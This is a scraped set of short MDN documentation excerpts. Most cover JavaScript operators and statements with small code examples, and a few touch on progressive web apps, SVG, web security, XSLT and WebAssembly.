and assignment short-circuits as well meaning that x &&= y is equivalent to: x && (x = y); and not equivalent to the following which would always perform an assignment: x = x && y; examples using logical and assignment let x = 0; let y = 1; x &&= 0; // 0 x &&= 1; // 0 y &&= 1; // 1 y &&= 0; // 0 specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
Logical NOT (!) - JavaScript
n4 = !!false // !!falsy returns false n5 = !!"" // !!falsy returns false n6 = !!boolean(false) // !!falsy returns false converting between nots the following operation involving booleans: !!bcondition is always equal to: bcondition specifications specification ecmascript (ecma-262)the definition of 'logical not expression' in that specification.
Logical OR (||) - JavaScript
the following composite operation involving booleans: bcondition1 && (bcondition2 || bcondition3) is always equal to: !(!bcondition1 || !bcondition2 && !bcondition3) specifications specification ecmascript (ecma-262)the definition of 'logical or expression' in that specification.
Logical OR assignment (||=) - JavaScript
specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
Logical nullish assignment (??=) - JavaScript
y; examples using logical nullish assignment function config(options) { options.duration ??= 100; options.speed ??= 25; return options; } config({ duration: 125 }); // { duration: 125, speed: 25 } config({}); // { duration: 100, speed: 25 } specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
Multiplication (*) - JavaScript
syntax operator: x * y examples multiplication using numbers 2 * 2 // 4 -2 * 2 // -4 multiplication with infinity infinity * 0 // nan infinity * infinity // infinity multiplication with non-numbers 'foo' * 2 // nan specifications specification ecmascript (ecma-262)the definition of 'multiplication operator' in that specification.
Multiplication assignment (*=) - JavaScript
syntax operator: x *= y meaning: x = x * y examples using multiplication assignment // assuming the following variable // bar = 5 bar *= 2 // 10 bar *= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Nullish coalescing operator (??) - JavaScript
"not available"); // "not available" specifications specification ecmascript (ecma-262)the definition of 'nullish coalescing expression' in that specification.
Optional chaining (?.) - JavaScript
"unknown city"; console.log(customercity); // unknown city specifications specification ecmascript (ecma-262)the definition of 'optional expression' in that specification.
Pipeline operator (|>) - JavaScript
const double = (n) => n * 2; const increment = (n) => n + 1; // without pipeline operator double(increment(double(double(5)))); // 42 // with pipeline operator 5 |> double |> double |> increment |> double; // 42 specifications specification pipeline operatorthe definition of 'pipeline operator' in that specification.
Property accessors - JavaScript
it is better to use bracket notation instead: x = document.forms['form_name'].elements[strformcontrol].value specifications specification ecmascript (ecma-262)the definition of 'property accessors' in that specification.
Remainder (%) - JavaScript
syntax operator: var1 % var2 examples remainder with positive dividend 12 % 5 // 2 1 % -2 // 1 1 % 2 // 1 2 % 3 // 2 5.5 % 2 // 1.5 remainder with negative dividend -12 % 5 // -2 -1 % 2 // -1 -4 % 2 // -0 remainder with nan nan % 2 // nan specifications specification ecmascript (ecma-262)the definition of 'remainder operator' in that specification.
Remainder assignment (%=) - JavaScript
syntax operator: x %= y meaning: x = x % y examples using remainder assignment // assuming the following variable // bar = 5 bar %= 2 // 1 bar %= 'foo' // nan bar %= 0 // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Right shift (>>) - JavaScript
-9 (base 10): 11111111111111111111111111110111 (base 2) -------------------------------- -9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10) examples using right shift 9 >> 2; // 2 -9 >> 2; // -3 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Right shift assignment (>>=) - JavaScript
syntax operator: x >>= y meaning: x = x >> y examples using right shift assignment let a = 5; // (00000000000000000000000000000101) a >>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>= 2; // -2 (-00000000000000000000000000000010) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Strict equality (===) - JavaScript
types console.log("3" === 3); // false console.log(true === 1); // false console.log(null === undefined); // false comparing objects const object1 = { name: "hello" } const object2 = { name: "hello" } console.log(object1 === object2); // false console.log(object1 === object1); // true specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Strict inequality (!==) - JavaScript
nt types console.log("3" !== 3); // true console.log(true !== 1); // true console.log(null !== undefined); // true comparing objects const object1 = { name: "hello" } const object2 = { name: "hello" } console.log(object1 !== object2); // true console.log(object1 !== object1); // false specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Subtraction (-) - JavaScript
syntax operator: x - y examples subtraction with numbers 5 - 3 // 2 3 - 5 // -2 subtraction with non-numbers 'foo' - 3 // nan specifications specification ecmascript (ecma-262)the definition of 'subtraction operator' in that specification.
Subtraction assignment (-=) - JavaScript
syntax operator: x -= y meaning: x = x - y examples using subtraction assignment // assuming the following variable // bar = 5 bar -= 2 // 3 bar -= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Unary negation (-) - JavaScript
const x = "4"; const y = -x; // y = -4 specifications specification ecmascript (ecma-262)the definition of 'unary negation operator' in that specification.
Unary plus (+) - JavaScript
examples usage with numbers const x = 1; const y = -1; console.log(+x); // 1 console.log(+y); // -1 usage with non-numbers +true // 1 +false // 0 +null // 0 +function(val){ return val } // nan +1n // throws typeerror: cannot convert bigint value to number specifications specification ecmascript (ecma-262)the definition of 'unary plus operator' in that specification.
Unsigned right shift (>>>) - JavaScript
-9 (base 10): 11111111111111111111111111110111 (base 2) -------------------------------- -9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10) examples using unsigned right shift 9 >>> 2; // 2 -9 >>> 2; // 1073741821 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Unsigned right shift assignment (>>>=) - JavaScript
syntax operator: x >>>= y meaning: x = x >>> y examples using unsigned right shift assignment let a = 5; // (00000000000000000000000000000101) a >>>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>>= 2; // 1073741822 (00111111111111111111111111111110) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
async function expression - JavaScript
}); specifications specification ecmascript (ecma-262)the definition of 'async function' in that specification.
await - JavaScript
var response = await promisedfunction().catch((err) => { console.error(err); }); // response will be undefined if the promise is rejected specifications specification ecmascript (ecma-262)the definition of 'async functions' in that specification.
class expression - JavaScript
const foo = class namedfoo { constructor() {} whoisthere() { return namedfoo.name; } } const bar = new foo(); bar.whoisthere(); // "namedfoo" namedfoo.name; // referenceerror: namedfoo is not defined foo.name; // "namedfoo" specifications specification ecmascript (ecma-262)the definition of 'class definitions' in that specification.
function* expression - JavaScript
the function yields the square of its argument: let x = function*(y) { yield y * y; }; specifications specification ecmascript (ecma-262)the definition of 'function*' in that specification.
in operator - JavaScript
(if you want to check for only non-inherited properties, use object.prototype.hasownproperty() instead.) 'tostring' in {} // returns true specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
instanceof - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
void operator - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'the void operator' in that specification.
yield* - JavaScript
} const iterator = g5(); console.log(iterator.next()); // {value: 1, done: false} console.log(iterator.next()); // {value: 2, done: false} console.log(iterator.next()); // {value: 3, done: false} done is false because g5 generator isn't finished, only g4 console.log(iterator.next()); // {value: 'foo', done: true} specifications specification ecmascript (ecma-262)the definition of 'yield' in that specification.
yield - JavaScript
generatorfunc = counter(0); console.log(generatorfunc.next().value); // 1 console.log(generatorfunc.next().value); // 2 console.log(generatorfunc.next().value); // 3 console.log(generatorfunc.next(10).value); // 14 console.log(generatorfunc.next().value); // 15 console.log(generatorfunc.next(10).value); // 26 specifications specification ecmascript (ecma-262)the definition of 'yield' in that specification.
empty - JavaScript
if (one) doone(); else if (two) dotwo(); else if (three) ; // nothing here else if (four) dofour(); else launchrocket(); specifications specification ecmascript (ecma-262)the definition of 'empty statement' in that specification.
async function - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'async function' in that specification.
block - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'block statement' in that specification.
break - JavaScript
reak(x) { var i = 0; while (i < 6) { if (i == 3) { (function() { break; })(); } i += 1; } return i * x; } testbreak(1); // syntaxerror: illegal break statement block_1: { console.log('1'); ( function() { break block_1; // syntaxerror: undefined label 'block_1' })(); } specifications specification ecmascript (ecma-262)the definition of 'break statement' in that specification.
class - JavaScript
let foo = class {}; class foo {}; // uncaught syntaxerror: identifier 'foo' has already been declared specifications specification ecmascript (ecma-262)the definition of 'class definitions' in that specification.
continue - JavaScript
j: 5 // end checkj i = 1 j = 4 i: 1 i = 2 j = 4 i: 2 i = 3 j = 4 i: 3 i = 4 j = 4 specifications specification ecmascript (ecma-262)the definition of 'continue statement' in that specification.
debugger - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'debugger statement' in that specification.
do...while - JavaScript
var result = ''; var i = 0; do { i += 1; result += i + ' '; } while (i > 0 && i < 5); // despite i == 0 this will still loop as it starts off without the test console.log(result); specifications specification ecmascript (ecma-262)the definition of 'do-while statement' in that specification.
export - JavaScript
rt them export { myfunction, myvariable } from 'childmodule1.js'; export { myclass } from 'childmodule2.js'; // in top-level module // we can consume the exports from a single module since parentmodule // "collected"/"bundled" them in a single source import { myfunction, myvariable, myclass } from 'parentmodule.js' specifications specification ecmascript (ecma-262)the definition of 'exports' in that specification.
for await...of - JavaScript
(async function() { try { for (let numorpromise of generatorwithrejectedpromises()) { console.log(await numorpromise); } } catch (e) { console.log('catched', e) } })() // 0 // 1 // 2 // catched 3 // called finally specifications specification ecmascript (ecma-262)the definition of 'ecmascript language: the for-in, for-of, and for-await-of statements' in that specification.
for...in - JavaScript
var triangle = {a: 1, b: 2, c: 3}; function coloredtriangle() { this.color = 'red'; } coloredtriangle.prototype = triangle; var obj = new coloredtriangle(); for (const prop in obj) { if (obj.hasownproperty(prop)) { console.log(`obj.${prop} = ${obj[prop]}`); } } // output: // "obj.color = red" specifications specification ecmascript (ecma-262)the definition of 'for...in statement' in that specification.
for...of - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'for...of statement' in that specification.
function* - JavaScript
tor example function* powers(n){ //endless loop to generate for(let current =n;; current *= n){ yield current; } } for(let power of powers(2)){ //controlling generator if(power > 32) break; console.log(power) //2 //4 //8 //16 //32 } specifications specification ecmascript (ecma-262)the definition of 'function*' in that specification.
function declaration - JavaScript
function calc_sales(units_a, units_b, units_c) { return units_a * 79 + units_b * 129 + units_c * 699; } specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification.
if...else - JavaScript
for example: if ((x = y)) { /* do something */ } specifications specification ecmascript (ecma-262)the definition of 'if statement' in that specification.
import.meta - JavaScript
specifications specification import.meta proposal html living standardthe definition of 'import.meta' in that specification.
label - JavaScript
l: function f() {} in strict mode code, however, this will throw a syntaxerror: 'use strict'; l: function f() {} // syntaxerror: functions cannot be labelled generator functions can neither be labeled in strict code, nor in non-strict code: l: function* f() {} // syntaxerror: generator functions cannot be labelled specifications specification ecmascript (ecma-262)the definition of 'labelled statement' in that specification.
throw - JavaScript
try { throw n; // throws an exception with a numeric value } catch (e) { if (e <= 50) { // statements to handle exceptions 1-50 } else { // cannot handle this exception, so rethrow throw e; } } specifications specification ecmascript (ecma-262)the definition of 'throw statement' in that specification.
try...catch - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'try statement' in that specification.
while - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'while statement' in that specification.
with - JavaScript
var a, x, y; var r = 10; with (math) { a = pi * r * r; x = r * cos(pi); y = r * sin(pi / 2); } specifications specification ecmascript (ecma-262)the definition of 'with statement' in that specification.
Transitioning to strict mode - JavaScript
in strict mode, the arguments object is created and initialized with the same values than the named arguments, but changes to either the arguments object or the named arguments aren't reflected in one another.
JavaScript reference - JavaScript
value properties infinity nan undefined globalthis function properties eval() isfinite() isnan() parsefloat() parseint() decodeuri() decodeuricomponent() encodeuri() encodeuricomponent() fundamental objects object function boolean symbol error objects error aggregateerror evalerror internalerror rangeerror referenceerror syntaxerror typeerror urierror numbers & dates number bigint math date text processing string regexp indexed collections array int8ar...
Web app manifests
specifications specification status comment web app manifest working draft initial definition.
Autoplay guide for media and Web Audio APIs - Web media technologies
note: put another way, playback of any media that includes audio is generally blocked if the playback is programmatically initiated in a tab which has not yet had any user interaction.
Media container formats (file types) - Web media technologies
the extension for these files, .mov, comes from the fact that the format was initially used for movies and was usually called the "quicktime movie" format.
CSS and JavaScript animation performance - Web Performance
running the performance test initially in the test seen below, a total of 1000 <div> elements are transformed by css animation.
Optimizing startup performance - Web Performance
porting issues once the initial loading is done and the app's main code starts to run, it's possible your app may necessarily be single-threaded,especially if it's a port.
Web Performance
lazy loading it isn't always necessary to load all of a web applications assets on initial page load.
Add to Home screen - Progressive web apps (PWAs)
first of all, we declare a deferredprompt variable (which we'll explain later on), get a reference to our install button, and set it to display: none initially: let deferredprompt; const addbtn = document.queryselector('.add-button'); addbtn.style.display = 'none'; we hide the button initially because the pwa will not be available for install until it follows the a2hs criteria.
How to make PWAs installable - Progressive web apps (PWAs)
if the user clicks the button, there is a final step showing what the app will look like, and letting the user choose if they definitely want to add the app.
Introduction to progressive web apps - Progressive web apps (PWAs)
it's just a shorthand used initially by google for the concept of creating a flexible, adaptable app using only web technologies.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
installation the api allows us to add event listeners for key events we are interested in — the first one is the install event: self.addeventlistener('install', (e) => { console.log('[service worker] install'); }); in the install listener, we can initialize the cache and add files to it for offline use.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
if not, we initialize a new subscription: const response = await fetch('./vapidpublickey'); const vapidpublickey = await response.text(); const convertedvapidkey = urlbase64touint8array(vapidpublickey); the app fetches the server's public key and converts the response to text; then it needs to be converted to a uint8array (to support chrome).
Mobile first - Progressive web apps (PWAs)
the concept is the same regardless of the target device — you want to provide a mechanism for users to search for things and get to different views/pages of the application — but because mobile screens are so much smaller, a reasonable desktop navigation can spoil the experience by filling up most of the initial view of the app, covering up the content.
clip-rule - SVG: Scalable Vector Graphics
the clip-rule attribute basically works as the fill-rule attribute, except that it applies to <clippath> definitions.
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
specifications specification status comment scalable vector graphics (svg) 2the definition of 'data-*' in that specification.
<solidcolor> - SVG: Scalable Vector Graphics
this is less elegant, and unlike <solidcolor>, cannot itself be used in the definition of gradients.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
definition-src not implemented.
Clipping and masking - SVG: Scalable Vector Graphics
for reverting a previously set display: none it is important to know, that the initial value for all svg elements is inline.
Fills and Strokes - SVG: Scalable Vector Graphics
<defs> stands for definitions, and it is here that you can create elements that don't appear in the svg directly, but are used by other elements.
Certificate Transparency - Web security
certificate transparency initially came about in 2013 against a backdrop of ca compromises (diginotar breach in 2011), questionable decisions (trustwave subordinate root incident in 2012) and technical issuance issues (weak, 512 bit certificate issuance by digicert sdn bhd of malaysia).
Features restricted to secure contexts - Web security
this reference lists the web platform features available only in secure contexts — see secure contexts for a definition and more details.
HTML Imports - Web Components
specification specification status comment html imports working draft initial definition.
Using shadow DOM - Web Components
} } inside the class definition we define the element's constructor, which defines all the functionality the element will have when an instance of it is instantiated.
XPath
xpath:axes list and definition of the axes defined in the xpath specification.
<xsl:template> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtemplate
this can be any number other than infinity.
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
resetting the xsltprocessor object also implements a xsltprocessor.reset() method, which can be used to remove all stylesheets and parameters then put the processor back into its initial state.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
ode = xmlref.importnode(mynode, true); // after cloning, we append xmlref.appendchild(clonednode); // set the sorting parameter in the xsl file var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the new content from the transformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="...
Exported WebAssembly functions - WebAssembly
an example let's look at an example to clear things up (you can find this on github as table-set.html; see it running live also, and check out the wasm text representation): var othertable = new webassembly.table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); console.log(othertable.get(1)()); }); here we create a table (othertable) from javascript using the webass...
WebAssembly
specifications specification status comment webassembly javascript interface working draft initial draft definition of the javascript api.